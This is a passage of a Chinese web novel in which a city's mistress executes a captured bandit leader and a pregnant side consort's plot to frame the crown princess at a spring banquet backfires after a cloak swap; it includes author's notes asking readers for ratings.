来的时候都打听过的,这月清城的当家人不过就是一个手无缚鸡之力的女子,没想到这月清城的人居然这么能打,而且这沈大小姐还亲手杀死了青龙寨二当家。 天霸寨的二当家不服气的开口。 “你少在那里装模作样的,一个女子不相夫教子,居然来我们天山崖抢占地盘,要杀要寡,悉听尊便,你少在这里惺惺作态…………” 沈安昕闻言缓缓起身,手里的匕首拔了出来,一步一步的朝天霸寨二当家走去。 “我的确是一个女子,而且还是一个弱女子,但是今日你就要死在一个弱女子的手里了。” “给我按住他。” 剑柏剑锋急忙上前控制住天霸寨的二当家。 沈安昕上前,面色一冷。 抬手将手里的匕首高高举起。 身体被人控制住,天霸寨二当家眼里闪过一抹惊恐。 “你敢………你杀我,我大哥不会放过你的………” “嗤”是匕首插进肉体的声音,沈安昕一脸的冷意,手里的匕首准确的扎进他的胸口出。 天霸寨二当家眼睛瞪得如铜铃般大。 很快气绝。 沈安昕看着带血的匕首,又看了看倒在地上的尸体。 果然,杀过一次人以后,第二次就不难了。 剑梅立即将手帕递上,自己这些日子一直跟在大小姐身边伺候,知道大小姐是很在乎公主送的这把匕首的。 沈安昕接过手帕,擦拭着匕首上的血。 这一次她的手没有抖了。 慕容傅看着她,这个女人还真是不简单。 这么快就适应杀人了。 山匪们都在瑟瑟发抖,这女人杀人不眨眼。 沈安昕继续朝清风寨的三当家走去。 三当家见状忍不住蹲着往后退。 “你………你想做什么?” “我已经投降了,我也没有说话挑衅你。” “降者不杀,你…………你不能违反江湖规定!” 沈安昕脚步停下,讥讽的看了他一眼。 然后走到椅子边缓缓坐下。 “月清城不惹事,但是也不怕事,你们竟然敢前来抢劫,我就敢杀鸡儆猴。” “现在我给你们两个选择,第一个选择,自断一臂,往后见了我们月清城的兄弟们都绕道走。” “第二个选择,月清城现在正在建造初期,需要人干活,你们可以留下来干活,等到月清城建造完成,我放你们自由。” 作者有话说:安昕姐姐威武霸气,来,宝子们,给安昕姐姐上书评支持一波 第一百一十四章 大姐就是大姐 清风寨三当家闻言,脸色瞬间变得煞白,他嘴唇颤抖着,眼神中满是恐惧与犹豫。 其他山匪也面面相觑,窃窃私语起来,一时间,这片区域弥漫着紧张而又压抑的气氛。 “这……这怎么行,自断一臂,以后还怎么在道上混?”一个山匪小声嘟囔道。 “留下来干活,谁知道会不会被当牛做马,说不定最后连命都没了。”另一个山匪附和着,声音中带着一丝绝望。 沈安昕端坐在椅子上,神色平静,目光却如利剑一般扫过众人。 三当家的看着沈安昕,一脸的小心翼翼。 “沈大小姐,能不能有第三个选择啊…………我们可以赔偿……………” 沈安昕闻言看一个傻子一样看着他。 “赔偿什么?” “银子?” “我月清城会缺银子?” 三当家的继续开口。 “我们已经知道错了,沈大小姐,您大人有大量就放我们一马吧,你放心,以后我们见了,你们肯定绕着走,绝对不敢再招惹了。” 沈安昕端起茶杯,慢悠悠的喝了一口茶。 “一柱香,你们要是不做出选择,我就默认你们选择第一个。” 终于,一炷香的时间到了。沈安昕缓缓起身,目光再次扫过众人。 “时间已到,你们的选择是什么?” 清风寨三当家咬了咬牙,一狠心说道。 “我们……我们选择留下来干活。” 自断一臂后,在这弱肉强食的天涯山,将毫无立足之地,而留下来干活,虽然前途未卜,但至少还有一线生机。 其他山匪见三当家都做出了选择,也纷纷附和道。 “我们也选择留下来干活。” 沈安昕扫视一眼众人。 “剑锋,给他们拿药,让他们包扎一下伤口,将这些尸体处理掉。” “另外,牺牲的兄弟们在对面那座山掩埋,立上墓碑,江千屿,你进城给牺牲的兄弟们多买一些纸钱,若是有家人的,统计一下名单给我。” “剑梅,派人给这几个山寨的大当家送信,这些人留在月清城了,他们若是不服,尽管来战。” 皇城。 屋里烧着炭火,沈安若正在吃着热茶鲜花饼。 “还是南诏的鲜花饼好吃,现在是用梅花做的,再等一等就可以吃上桃花做的了。” 王司记在一旁笑着开口。 “现在已经找到了合适的铺子,玉儿已经在着手找人修葺了,很快,咱们南诏的鲜花饼一定会在这皇城大受欢迎的。” 沈安若听了看了看手里咬了一半的鲜花饼。 “嗯,这是肯定的,毕竟咱们的鲜花饼这么美味。” “说起鲜花饼,本宫倒是想起姐姐了,算算时间,姐姐应该收到我送的新年礼物了吧?” 王司记闻言缓缓开口。 “应该是收到的,大小姐肯定很开心。” 沈安若闻言开口道。 “姨母,平日里你在留心一些,有什么好东西,咱们就买下来,然后让人给姐姐送去。” 王司记笑着应道。 “是,就知道殿下最惦记大小姐。” 此时剑兰走进来。 “主子,查到了一点消息。” 沈安若看着她开口。 “说!” 剑兰拱手道。 “沈安锦身边的确有一个神秘丫鬟,一身黑色裙子,属下跟踪了,应该是南诏的巫女。” 沈安若听了眉头微皱。 “巫族的人?” 南诏民族很多,其中出名的巫族更是会巫蛊之术。 不过因为多年前发生了一场巫族人引起的动乱,南诏皇室跟巫族签订了协议,巫族只能呆在巫山,出巫山得与官府报备。 没想到沈安锦身边居然有了巫族的人,难怪秦王会让她当侧妃。 “继续查,注意一下她与秦王的相处。” “巫族谨慎,你小心一些,不要被发现了。” 剑兰闻言拱手道。 “是。” 沈安若面色沉思。 “巫女。” “姨母,你对巫族了解多少?” 王司记微微低头,思索片刻后缓缓开口。 “殿下,巫族在南诏素来神秘,其巫蛊之术更是让人忌惮,巫族的大祭司据说可以用蛊王号令蛇鼠虫蚁,抵上千军万马。” “多年前那场动乱,让南诏皇室与巫族之间虽签了协议,可彼此心中始终存着几分猜疑与防备,所以这些年与巫族并没有什么接触,只是让人盯着巫山,只要她们不出巫山,皇室也不会如何。” 沈安若的手食指轻轻敲击着桌面。 “沈安锦,就算她现在有几分手段,倒是也不足为惧,本宫担忧的是这巫族巫女出现在沈安锦身边,恐怕并非偶然。” 王司记点了点头。 “殿下所言极是,秦王府与太子府已经相斗多年,若是有了巫族之人相助,只怕是要给太子府带来压力了。” 沈安若继续敲击着桌面。 “不,这还不是最担心的,本宫最担心的是,天元已经出现了巫族的人,那么别的国家呢?南诏呢?” “姨母,准备笔墨纸砚,本宫得写一封信给舅舅,让舅舅防患于未然。” 秦王府。 碧玉一身黑色裙子,手腕上带着铃铛,脸上带着一块黑色丝巾。 “侧妃娘娘,你太心急了,你不应该暴露你怀孕的事情的。” 沈安锦听了开口道。 “暴露了又如何,现在皇上和贵妃娘娘都对我肚子里的孩子极为重视,若是因为沈安若本侧妃这肚子里的孩子有了什么损失,陛下和贵妃娘娘都不会放过她的。” 碧玉听得低头,眼里闪过一抹不耐烦,这个蠢货。 “侧妃娘娘,事以密成,你如此高调,只怕是沈安若已经盯上你了。” 沈安锦抚摸着自己的肚子。 “那她就动手啊,本侧妃等着她动手呢。” 碧玉无奈的开口。 “侧妃娘娘,好不容易有了孩子,你要保护好这个孩子才是,只要你替秦王生下来长子,你在秦王府的地位就稳固了,甚至有情蛊在,秦王对你情根深种,你还有可能再往上走一走……………” 沈安锦听得眼里都是恨意。 “可我不想等。” “梨花,你留意沈安若最近要做什么,这个孩子必须死她手里。” “残害陛下看重的皇长孙,她不只是自身难保,还会连累太子,到时候我看这对贱人还得意什么?” 一旁的碧玉见状,眉头皱了皱,这枚棋子不听话啊。 太子府。 沈安若刚去铺子里看了铺子的修葺回来,想到了摆满花娟的铺子,还有现做的香味四溢的鲜花饼,沈安若只感觉只能已经预感到南诏鲜花饼铺子前排起长长的队伍了。 王司记见她回来了,上前福身。 “殿下。” 随即从手袖里面拿出来一张请帖。 “这是镇国公府送来的请帖,半月以后镇国公府举办春日宴。” 作者有话说:不得不说,咱们的安昕也是一个有胆魄的女子,为了有能力给妹妹撑腰,都敢杀人了,宝子们急需五星书评 第一百一十五章 要江山还是要美人 剑柏闻言拱手道。 “是。” “月清城现在已经建立不少房屋,之前龙虎寨的兄弟们都搬进去了,大小姐正准备根据主子你给的图纸继续建立,属下去的时候大小姐让属下留下过年,然后带着属下视察月清城,应该是月清城的兄弟们日子过的太好,毕竟过年那几天,天天都在吃肉,引来了别的山匪的嫉妒,这次是三个山寨的山匪联手合攻月清城。” “大小姐一开始就从容镇定地招呼着大家迎战,即便是厮杀了起来,大小姐也不曾退去,那些攻打月清城的人应该是早就调查过的,知道大小姐不会武功,所以看到大家越战越勇以后,就准备先杀大小姐,大小姐这也是寻了机会第一次杀人。” “对了,龙虎寨之前的大当家出现了,还是他救了大小姐!” 英雄救美吗?沈安若总感觉心里有一股不好的预感,英雄救美这形象最容易引得女孩子动心了。 “这大当家怎么样?长得好看吗?武功高不高?” 剑柏微微一愣,似乎没想到沈安若会关心这个问题,但还是认真回答道。 “大当家的叫慕容傅,武功确实高强,至于长相……” 他略一沉吟。 “也算是英俊挺拔,颇有侠者风范。” “属下知道主子你最关心大小姐了,还打听了一下,这个慕容傅的下棋不错,好像与大小姐博弈过。” 沈安若听后,心里不由得“咯噔”一下。 不会吧,这就有人要跟自己抢姐姐了? “我要给姐姐回信,剑柏,这一次,你去查一查那个慕容傅。” “另外,既然月清城的人越来越多,这修葺的人也有了,也该让兄弟们训练起来了。” 随着镇国公府的春日宴如期而至。 沈安若身着一袭淡紫色烟纱散花裙,外罩一件月白色绣着淡雅兰花的披风,头戴一支白玉簪子,簪子上的流苏随着她的步伐轻轻晃动,更添几分灵动与优雅。 商玄澈则是一身黑色衣服手袖上绣着金色祥云。 二人一进国公府。 李清舒就一副虚伪的笑容迎了上来。 “见过表哥,见过太子妃。” 随即目光看向商玄澈。 “表哥,今日是夫人贵女们的宴会,表哥来国公府是有事情要跟父亲谈吗?” 商玄澈微微点头。 李清舒继续开口说道。 “刚好父亲也有重要的事情要跟表哥谈,清舒给表哥带路。” 随即又朝一旁的丫鬟吩咐道。 “带太子妃去后院与夫人们聊天。” 商玄澈侧身目光看着沈安若,沈安若朝他微微点头。 “去吧。” 商玄澈握住她的手。 “我先去跟舅舅商议事情,然后来接你回家。” “若是有不长眼的来找你晦气,你该怼怼该罚罚,你是太子妃,没有人可以在你的面前放肆。” 听着他又一次的叮嘱,沈安若无奈的笑了笑。 “你就放心吧,我不会让别人欺负了去的。” 商玄澈这才伸手轻轻摸了一下她的头,又替她整理了一下发簪。 看着二人浓情蜜意的模样,李清舒指甲深深的陷入了掌心,表哥当真的如此在乎这个贱人,那么李家这些年的付出算什么,自己又算什么? “表哥,父亲已经亲自煮了表哥爱喝的茶。” 商玄澈这才看了一眼沈安若,然后朝李家书房的位置走去。 李清舒见状急忙领路。 实际上,商玄澈来过多次,早就知道路怎么走了。 “今日看着表哥太子妃这般恩爱,还当真是让人羡慕太子妃嫁了这天底下最好的男儿。” 商玄澈甚至都没有片头看她一眼,只是大步流星的朝书房的位置走去。 “在本宫的眼里,太子妃也是这天底下最好的女子。” “清舒,每个人看人的视角不一样,你觉得本宫好,是因为看到了本宫对太子妃的样子,将来你也会遇到那个满心满眼都是你的男子,当他将你捧在手心疼爱,对你来说,他便是这天底下最好的男子。” 看着太子字字句句都对自己透着疏离感,明明以往的时候不是这样的,李清舒咬了咬牙,忍不住继续开口。 “可是我心里已经有着天底下最优秀的男子,表哥,咱们这么多年的情谊,你我的婚事也是姑母与父亲商议过的,表哥当真就对我如此看不上?” 商玄澈停下脚步,看着李清舒。 “清舒,本宫与太子妃是陛下赐婚的。” “本宫的婚事也是要陛下点头的。” 所以李家和皇后商议的都不作数是吗?李清舒忍不住眼眶泛红。 “表哥,陛下根本就……………” 商玄澈开口提醒。 “李清舒,妄议陛下乃是大罪。” 眼见书房就在眼前了。 商玄澈看着李清舒继续开口。 “清舒,你是舅舅得女儿,也是本宫的表妹,甚至你有许多时间都是待在母后身边的,舅母这些年更是将你教养的亭亭玉立,端庄贤淑。” “身为你的表哥,本宫也觉得你应该配上一个很优秀的男子,若是在皇城舅母给你相看的你不满意,本宫也可以在军中给你挑选一位身份不低的将军。” “这么多年你唤本宫一声表哥,本宫自是将你当做亲妹妹般的看待,他日你出嫁的时候,本宫也会替你准备丰厚的嫁妆。” 就这么迫不及待的想让自己嫁出去么?李清舒抬头看着商玄澈的眼睛。 “表哥,都说最是无情帝王家,甚至当今陛下对姑母…………表哥你也是陛下的血脉,清舒有些好奇了,表哥你既然对太子妃一往情深,不知表哥你是要江山还是要美人?” 商玄澈听得眉头微皱。 李清舒却已经福身行礼。 “表哥,父亲就在书房等你,今日宾客多,清舒就去与母亲一起招待宾客了。” “清舒告退。” 而此时的沈安若,在国公府丫鬟的带领下朝后院走去。 王司记与剑兰不动声色的跟在她的身后,打量着国公府的布置。 就在看见了众人的时候,沈安锦在梨花的搀扶下一脸笑意的走来。 “妹妹!” 第一百一十六章 要江山还是要美人 沈安若立即警惕了起来,看着沈安锦开口。 “原来是锦侧妃。” 带路的丫鬟见状默默走开。 沈安锦一脸的笑意,朝沈安若走近。 “妹妹,许久未见,近日可好。” 说着就朝沈安若伸手,要去挽她的手。 沈安若急忙闪身退开,就像是在躲避什么瘟疫一样。 沈安锦面色一僵,马上一副委屈巴巴的样子。 “妹妹,陛下都说了,咱们还是姐妹,以前的事情你也在宫宴上同意都过去了,为什么还如此的嫌弃姐姐?莫不是妹妹你当时是欺骗陛下的。” 这也能够往皇上的身上扯,还真是见识了什么叫做恬不知耻了。 “锦侧妃有孕在身不在秦王府好好的修养,怎么出来随意走动了?就不怕有一个什么闪失没有了依靠吗?” 这个贱人,居然敢咒自己,沈安锦眼里闪过一抹狠意,很快消失不见,取而代之的还是一脸的笑意,甚至还带着几分的讨好。 “这不是许久没有见妹妹了吗?” “递了帖子去太子府又被退回来了,今日是国公府的春日宴,妹妹你可是太子妃,我就想着,哪怕是看在太子的面子上,妹妹你也会来参加春日宴的,我就特意来与妹妹说一说话!” 事出反常必有妖,就凭她现在肚子里有一个孩子,自己都得离她远远的,沈安若扫视了四周。 “沈安锦,你的忍耐性可真好,就凭你名声尽毁这一点,只怕你日日夜夜做梦都恨不得杀了我吧,还一口一个妹妹的,还真是为了恶心我都不惜伤敌一千自损八百了。” 沈安锦的脸色微微一变,但很快又恢复了正常,她轻轻笑了笑,仿佛并不在意沈安若的讽刺。 “妹妹说的哪里话,我们都是沈家的女儿,虽然以前有些误会,但那都是过去的事情了。现在我已经是秦王府的锦侧妃,你也是尊贵的太子妃,我们应该互相扶持,在这天元站稳脚步才是。” “若是父亲知道了我们姐妹相互扶持,一定会很欣慰的。” 沈安若看了看她,继续往后退了一步。 “沈安锦,我如果是你,就会趁机抓住秦王的心,好好的将秦王的孩子生下来,到底是秦王的长子,也能够母凭子贵,最起码在这天元也算是站稳了脚步。” 随即朝王司记与剑兰开口。 “以后见到锦侧妃的地方都给本宫绕道走,毕竟陛下和秦王都十分看重锦侧妃的肚子,若是有一个什么闪失,咱们都赔不起的。” 说完就疾步朝远处走去。 步子快的就像是身后有什么瘟疫一样,王妃记和剑兰默契的快步跟上。 她居然就这么走了,而且根本就不给自己与她触碰的机会,这个贱人的警惕性还真是高,看着沈安若已经走远了。 沈安锦不甘心的跺了跺脚。 “这个贱人。” 梨花在她身边小声的开口。 “侧妃,要不我们还是回去吧…………” 沈安锦狠狠地瞪了梨花一眼。 “没用的东西,本侧妃要你有什么用?” 然后抬脚就朝沈安若的方向追去。 沈安若太警惕了,若是错过了今日的机会,再想见到她就难了。 国公府书房里。 镇国公看着商玄澈一脸的阴沉。 “所以太子殿下的意思是往后也不可能娶我们清舒了?一个侧妃的位置都不愿意给李家的女儿?” 商玄澈起身朝镇国公拱手。 “舅舅,这些年你待玄澈如师如父,我记得舅舅这么多年的辛苦栽培,更记得在我被陛下厌弃的时候,是舅舅想办法送了我去兵营,让我挣了一身的军功,李家的扶持我一辈子都会记着。” “可是舅舅,情爱之事不能强求,我就是因为记着舅舅的恩情,所以不能害了舅舅的女儿,舅舅,你也看见了,母后这么多年过的是什么日子?我相信舅舅你舍不得清舒走母后的路,我这个当表哥的也舍不得。” “清舒我以后会当做亲妹妹来护着,她若是成亲,我必然给她办上丰厚的嫁妆,她若是受了委屈,我身为兄长也会替她撑腰,只要有我在一日,就会护着李家,就如同这些年,舅舅护着我一般。” 镇国公脸色更加阴沉了。 “你说来说去还是想过河拆桥!” 抬头看着太子。 “殿下你不能既要又要!” “这些年李家为了你可是倾尽全力。” 商玄澈看着镇国公。 “舅舅 ,本宫记念着李家的好,也记挂着母后的辛苦,可是舅舅,婚事不都是你与母后做主的吗?” “既然本宫已经娶了凰仪公主,就会为她一辈子负责,若是本宫又因为需要助力而娶了旁人,那本宫跟那一位又有什么区别?” 因为是春日宴,夫人贵女们都在国公府的花园里面赏花,毕竟竞这宴会都办了好多年,国公府的花园里可谓是别具一格的,甚至中央还有一片桃林,现在桃花开得正旺。 各家夫人小姐们聚在一起欣赏着桃花,相谈甚欢。 国公夫人也与各家夫人们交谈着。 沈安锦寻找了一圈,终于看到了沈安若站在小桥上喂鱼,此时她的额头上已经有了细细的汗珠,脸色甚至还透着几分苍白。 梨花看着她的模样,脸上都是担忧。 “侧妃………” 沈安锦偏头看了她一眼。 “闭嘴。” 看了看站在桥上背对着自己的沈安若,自己必须尽快动手,不然就来不及了。 这一次,沈安锦没有选择说话,而是静悄悄的走到了沈安若的身后。 然后伸手抱着她,一起摔进了水池里。 “啊……………” 梨花见状急忙大声呼喊。 “来人啊,不好了我们侧妃娘娘被太子妃推下水了。” “我们侧妃娘娘还怀着孩子呢,来人啊,救命啊,救一救秦王的长子。” “太子妃嫉妒我们娘娘有了身孕的陛下夸赞,居然趁机退我们娘娘下水。” 此时沈安锦与一个女子在水里扑腾着。 这可还是正月里呢,池塘里面的水冰冷刺骨,二人都拼命的挥手想抓住什么? “救命!” 在梨花的大声呼喊下,许多夫人小姐都朝池塘边围了过来。 “这是怎么回事?好像有人落水了!” “是啊,快看看,就现在这个水冷着呢,这要是掉下去了肯定要生一场大病的。” 梨花见围过来的人越来越多,更是哭着大喊道。 “谁来救救我们的侧妃?救一救秦王的长子!太子妃嫉妒成性,因为在南诏与我们侧妃娘娘有一些小矛盾,如今更是见不得我们侧妃娘娘好,居然为了害我们侧妃娘娘拉着我们娘娘一起跳水了。” “来人啊,救命啊,救救侧妃,救救秦王长子……太子妃的我们侧妃娘娘啊………” 梨花一遍又一遍的呼喊,虽然话语有重复的,可是却将沈安若说成了一个嫉妒成性残害孕妇的毒妇。 镇国公府每年都会办春日宴,只不过今年办的提早一些罢了,没想到居然出现了这样的差错,镇国公夫人的脸色有些难看。 “来人,准备救人。” “再请大夫过来。” 这太子妃果然不是一个省心的,太子也是被迷了魂了,如此不知分寸的女子怎么配得上当太子妃? 很快水里的两个女子被救起来,梨花抱着沈安锦满脸的担忧,忽然惊呼道。 “侧妃娘娘,你流血了…………” “天呐,这可如何是好?” “来人啊,谁帮我们去禀报一下秦王殿下?太子妃害死了我们侧妃娘娘的孩子!” 忽然一道震惊的声音响起。 “这是发生了什么?” 只见沈安若一身紫色衣裙,带着王司记走来。 众人眼里都是一阵诧异,不是太子妃与秦王的侧妃一起掉进池塘里了吗? 作者有话说:怎么样?惊不惊喜意不意外?宝子们,给若若上票 第一百一十七章 太子妃不在场 正在哭喊的梨花一下子懵逼了,一起懵逼的还有靠在梨花怀里的沈安锦,此时她整个人都冷得瑟瑟发,加上肚子疼,面色苍白,嘴唇发紫,想要说什么,却发现自己有气无力。 “沈………沈安若………你怎么在这里?” 沈安若却没有搭理她,而是疾步走向救上来的另外一个女子。 此时另外一个女子脸朝下躺着的,众人只看到了衣服是沈安若之前穿得,并未看见脸。 当沈安若将人扶起来,快速的拍着她的背,又掐着她的人中。 众人才认出来,这不是高家的嫡出小姐高晚宁吗? 原本在看戏的高夫人面色骤变,尖叫一声便扑了过去。 “我的宁儿!” 高夫人一把推开沈安若,将女儿紧紧搂在怀中,手指颤抖地探向高晚宁的鼻息,感受到微弱的气息,才稍稍松了口气,随即怒目转向沈安若,又看了看沈安锦怒吼道。 “这到底是怎么回事?” “为什么我的女儿会掉进水里?” 目光又看向镇国公夫人。 “国公夫人,这是国公府的宴会,是不是该给本夫人一个交代?” 一边说着一边急忙把自己的披风解下来,将高晚宁裹住。 一眼就看得出来,高晚宁现在身上的披风,不是她出门穿的那一件,而是太子妃今日参加宴会身上的那一件。 “这不是太子妃的披风吗?为什么会穿在我宁儿的身上?” 高晚宁慢悠悠的醒来,忍不住冷的发抖,一下子就打了两个喷嚏。 “艾青…………” “艾青……………” “母亲,我好冷。” 看到高晚宁醒了过来,高夫人急忙紧紧的抱着她。 “母亲在,母亲抱着你。” “宁儿,你怎么会掉进水里的?” “又怎么会穿着太子妃的披风?” 沈安若见状在一旁开口道。 “高夫人,我在小桥上与高小姐遇见的,高小姐很喜欢本宫这件披风,本宫与高小姐本就是朋友,就想着既然她喜欢的话那就送给她好了,可是今日伺候本宫的人生疏忽,没有给本宫带备用的披风,高小姐刚好带了备用披风,我身边的丫鬟便与高小姐的丫鬟去取披风了。” 时间线拉回。 一盏茶前。 沈安若站在桥上。 高晚宁在桥边不远处赏桃花。 王司记提高了声音,在沈安若的身边开。 “太子妃,还是太子殿下心疼你,这狐毛披风可是太子殿下亲手立的狐狸,为的就是太子妃您出门不受冻。” 沈安若看了一眼不远处的高晚宁,深手抚摸着身上的披风。 “殿下对本宫的心意,本宫自然是知道,要知道一整件狐狸毛的披风市场上可是千金难求啊!” “不过殿下说了,只要本宫喜欢,过两日他就再去打几只狐狸,再给本宫做上一件。” 这些话自然顺着春风传进了高晚宁的耳朵里,高晚宁忍不住走上桥。 “太子妃还真是好福气,遇到了太子殿下这么好的夫君,可是这夫妻之间的好也是需要相互的,这才刚刚春日,狐狸很难打的,” 沈安若闻言脸上并未有半分的恼色,而是笑意盈盈的打招呼。 “原来是晚宁啊。” “多谢晚宁的提醒,本宫以后也会对太子殿下好的。” 随即看着高晚宁的脸。 “高小姐的脸怎么有点红,这是被寒风吹到了吗?” 然后看了一眼高晚宁身边的丫鬟。 “身边的人都是怎么伺候的?” 说着上前拉起高晚宁的手。 “哎呀,这手怎么也这般的冰凉?” 面对沈安若忽然如此的热情,高晚宁忽然有些心虚。 “太子妃你…………” 沈安若将她的两只手捧起来放在自己的手里,然后微微低头吹了吹热气。 “晚宁,本宫来了天元以后就你这么一个朋友,你可要好好的保暖才是,这要是得了风寒,本宫可是要心疼的。” 高晚宁听了将脸偏去一边。 “你以为谁都像你这般的好命,有狐狸毛的披风,今日在这桃林里逛了这么久,手肯定是冰的啊。” 沈安若闻言开口道。 “那你喜欢我这件披风吗?” 这可是太子殿下亲手打的狐狸制作的披风,谁会不喜欢?高晚宁看着沈安若。 “太子妃也不必得意,我们都知道太子对你好。” 沈安若闻言伸手解开自己的披风,就朝她身上披上。 “如果你喜欢的话,那本宫就送给你好了,毕竟我们是好朋友啊。” 一边说着一边还将披风系好了,然后伸手摸了摸高晚宁的脸蛋。 “嗯,这披风果然衬了晚宁。” 看着已经披在了自己身上的披风,高晚宁神色带着几分懵逼,沈安若这是要搞什么鬼? “太子妃!你真送我?可是太子殿下…………” 沈安若笑着打断她的话。 “当然是真的送你了,太子殿下打的狐狸又怎么样?本宫就是看不得自己的朋友受冷。” “不过本宫也有点冷,你身上原本的这件披风与我今日的衣服不太搭,你那里有带备用的披风吗?” 高晚宁点了点头。 “有,有一件紫色的披风,倒是刚好与你这身衣服撞上了颜色。” 沈安若听的一脸的笑意,热情的拉着高晚宁的手。 “这可不就是咱们的缘分吗?看来你的披风与我有缘分,我的披风与你有缘分,那就当我们交换了。” “剑兰,你与高小姐的丫鬟去取披风。” 高晚宁朝自己的丫鬟点了点头。 见丫鬟和剑兰离开。 沈安若又借口要如厕离开一会,让高晚宁在桥上等着她回来。 然后好巧不巧的,沈安锦看着背影认错了人,也拉错了人。 梨花当看清楚了被沈安锦拉下水的人是高晚宁以后,脑子一片空白,怎么会这样,怎么会是高家的小姐? 沈安锦看着完好无损站在那里的沈安若,自己失去了一个孩子,居然没有将沈安若拉下水,更是感觉两眼一黑就晕了过去。 此时小厮找来了两个大夫。 “夫人,大夫来了。” 自己打理内宅这么多年,又与许多夫人交往密切,想到了除夕宴会上沈安若与沈安锦的针锋相对,国公夫人就知道此事只怕是不简单。 “快,给锦侧妃和高小姐看看。” “来人,快去请秦王殿下过来。” 第一百一十八章 你与她是有过节吗 大夫们迅速上前,一人为沈安锦把脉,另一人则查看高晚宁的状况。 国公夫人站在一旁,眉头紧锁,心中暗自盘算着这场突如其来的变故该如何收场。 “锦侧妃这是小产了,又受了寒,需得立即调理,否则恐有后患。给沈安锦把脉的大夫沉声说道。 “高小姐则是落水后受了惊吓,加之原本体质就偏寒,如今更是雪上加霜,需得细心照料,以免落下病根。 国公夫人闻言,心中更添了几分忧虑。 无论是沈安锦还是高晚宁,都不是能轻易得罪的人物。 沈安锦虽是南诏来的孤女,但背后有秦王撑腰,而且皇上对这个未出生的孙儿可是极为重视的,现在在国公府出了事,只怕是让皇上有理由处罚国公府了。 高晚宁更是高家的嫡出小姐,高家与李家原本就多年敌对,只怕更是要借机生事了。 “快,将两位小姐抬到偏房,先暖暖身子。 “劳烦两位大夫先煎药来。 然后又朝诸位夫人福身。 “还请诸位到大厅喝杯茶暖暖身子,我稍后就来。 “清舒! 李清舒急忙站出来。 “诸位夫人,还请跟我来。 众人这才跟着李清舒离开。 高晚宁状态稍微好一些,在高夫人和丫鬟的搀扶下,颤颤抖抖地站起来。 沈安若见状,直接上前扒开丫鬟的手,然后稳稳的扶住高晚宁。 “晚宁,本宫扶你。 此时拿了剑兰与高晚宁的丫鬟也拿着披风来了。 沈安若直接拿过披风给高晚宁又裹了一层。 到了房间,王司记急忙倒了一杯热茶来。 沈安若将热茶接过,放在高晚宁的手里。 “晚宁,快喝一杯热茶。 很快国公夫人命丫鬟送来了衣服,高晚宁在高夫人的陪同下换了衣服。 沈安若才又进来房间,一脸关切的看着高婉宁。 “晚宁,感觉怎么样? “可有好一些。 高晚宁换了衣服以后躺在床上盖上了厚厚的被子,但是看着她的脸色依旧不太好,说话的声音也带着几分微弱的颤抖。 “就是觉得冷,多谢太子妃关心。 沈安若见高夫人坐在床边,也没有自己的位置,抬手直接拉了一个凳子过来,然后坐在了床前。 “大夫已经去煎药了,等到喝了药应该就会感觉 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 好一些。” “不过晚宁,你与锦侧妃是有什么过节吗?你们怎么会都掉进水里去了?” 高晚宁闻言,微微蹙眉,眼神中闪过一丝迷茫与后怕,声音细若蚊蚋。 “我……我也不知怎的就掉进水里了。当时在桥上等太子妃回来,只觉背后有人一推,便………” 话未说完,她已咳嗽起来,高夫人急忙轻拍她的背,满眼心疼。 沈安若见状,急忙起身倒一杯热茶。 “来,润润嗓子。” 高晚宁喝了茶以后,又在高夫人的搀扶下躺下。 沈安若看着她缓缓开口。 “所以是有人故意将你推下去的?” 高晚宁闻言点了点头,随即陷入回忆。 “对,甚至我感觉对方好像是拽着我跳下去的。” 沈安若听了微微皱眉。 “拽着你跳下去的,这跟你一起掉进水里的不就是锦侧妃吗?” “她拽着你跳下去做什么?” “你们之间是有什么矛盾吗?” 高晚宁听了摇了摇头。 “没有,我只在除夕的宴会上见过她。” 沈安若看向王司记。 “姨母,你去见国公夫人,今日既然是春日宴,那么多人在附近赏花,肯定有人看见桥上的情况,好好的问一下府中的丫鬟小厮,或者来赏花的夫人小姐。” 王司记闻言默默的福身退下。 沈安若看着高晚宁安抚道。 “晚宁,你不要害怕,一定会有人看见桥上的事情的,今日只要有本宫在,就绝对不会让人诬陷你,沈安锦她休想将她流产的帽子扣在你的头上。” 高夫人看着沈安若从头到尾这副热闹的模样。 “太子妃,晚宁这里有臣妇照顾,就不劳烦太子妃了。” 这戏还没有唱到最后,现在自然是不能走的,沈安若开口道。 “高夫人,你说的这是什么话?本宫就晚宁这么一个朋友,她现在受了这么大的委屈,本宫肯定是要陪在她身边的。” “而且国公夫人已经让人去请秦王了,秦王对锦侧妃肚子里的孩子一直很看重,只要是迁怒晚宁……………” 高夫人去抬头看着沈安若的脸。 “太子妃,臣妇心里一有一个疑惑,锦侧妃身边的丫鬟为何一直大喊着太子妃你要害锦侧妃的孩子?” “晚宁穿着太子妃的披风当真是因为她喜欢太子妃的披风吗?” 果然不愧是丞相夫人,在 听说看这本书的人都是很幸运的,分享后你的运气会更棒 担忧女儿的情况下,这么快就理清了思路,沈安若一副无奈的样子叹了一口气。 “唉,估计是因为整个宴会上就只有本宫与锦侧妃在除夕的 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“晚宁,你不会喜欢秦王吧?” “这女人在嫉妒心的驱使下,是会做出很多不可思议的事情出来的。” 高晚宁急忙开口就否认。 “我没有!” 沈安若却看着她开口。 “可是以你的年龄你早就该议亲了呀,高家难道没有想过与秦王府亲上加亲吗?” 高晚宁开口道。 “我又没有同意!” 沈安若闻言看着她继续开口。 “那就是高家有和秦王商议过,这怀孕的人本就心思重,看来沈安锦是以为你要跟她抢秦王,本来她就在天元无依无靠的,你又是高家嫡出小姐,背靠丞相府,贵妃娘娘对你又是诸般疼爱,只怕是让她有危机感了。” 高夫人看着沈安若。 “太子妃怎么会有这样的推测?” 沈安若再次无奈的开口。 “因为本宫也是女人啊,高夫人,说一句不该说的话,李家不是也准备与太子府亲上加亲吗,本宫明白那种感觉的,只是本宫信任太子,又是和亲公主,到底也不会太难堪。” “可锦侧妃不一样,秦王对高小姐本就亲近…………” “唉,其实想一想,换作是本宫,有孕的时候还得担忧夫君再娶,只怕是也会心思重重啊。” 高夫人神色间多了几分沉思。 沈安若见状起身道。 “晚宁今日受到了这么大的惊吓,夫人就好好的陪一陪婉宁吧,本宫就不打扰了。” 第一百一十九章 护妻的来了 沈安若一走出去。 高夫人就示意丫鬟关门。 高晚宁朝高夫人开口。 “母亲难不成这个沈安锦真的因为嫉妒姑母和表哥对我好就拉着我跳池塘她可还怀着孕呢这也实在是…………” 高夫人沉思着开口。 